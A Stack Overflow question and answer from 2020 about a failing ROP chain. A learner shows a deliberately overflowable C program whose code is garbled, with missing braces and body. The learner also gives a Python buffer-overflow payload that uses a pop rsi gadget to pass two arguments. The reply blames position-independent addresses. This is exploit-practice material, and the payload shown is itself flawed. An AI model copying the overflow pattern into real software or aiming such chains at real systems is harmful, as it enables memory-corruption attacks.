Simple ROP chain with 2 arguments to the function


I'm practicing with ROPchain and I have a very simple program, where I'm unable to call the 'vulnerable' function successfully:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void vuln(int a, int b) {
        if (a == 0xdeadbeef && b == 231) {

int main() {
        char buf[32];
        printf("Input: ");
        fgets(buf, 256, stdin);
        printf("Result: %s", buf);
        return 0;

Here's the file info for that binary:

program: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/, BuildID[sha1]=95e46dcb8715548e3435a24e862efdf1a84c01fd, for GNU/Linux 3.2.0, not stripped

I'm using ROPgadget tool to get pop rsi ; pop r15 ; ret. And here is my exploit:

import struct

junk = 'A' * 32
ebp = 'B' * 8
ret_adr = struct.pack('<Q', 0x0000555555555155) # vuln
pop_rsi = struct.pack('<Q', 0x0000000000001239) # pop rsi ; pop r15 ; ret
arg_1 = struct.pack('<Q', 0xdeadbeef)           # first argument
arg_2 = struct.pack('<Q', 231)                  # second argument

print junk + ebp + pop_rsi + arg_2 + arg_1 + ret_adr

And I'm calling the binary like so:

(python; cat) | ./program

It just dies with Segmentation fault. I tried changing the order of arguments as well, but still cannot make it work. What am I doing wrong?

P.S. It works perfectly if there's just 1 argument in that function and when I'm using pop rdi; ret.

asked on Stack Overflow May 24, 2020 by Bravi

1 Answer


You have a position independent executable, this means that addresses will change at runtime every time. You want an executable that is not PIE, compile with -no-pie -fno-pie, and then get the addresses you want again from the debugger or just with objdump.

answered on Stack Overflow May 24, 2020 by Marco Bonelli

User contributions licensed under CC BY-SA 3.0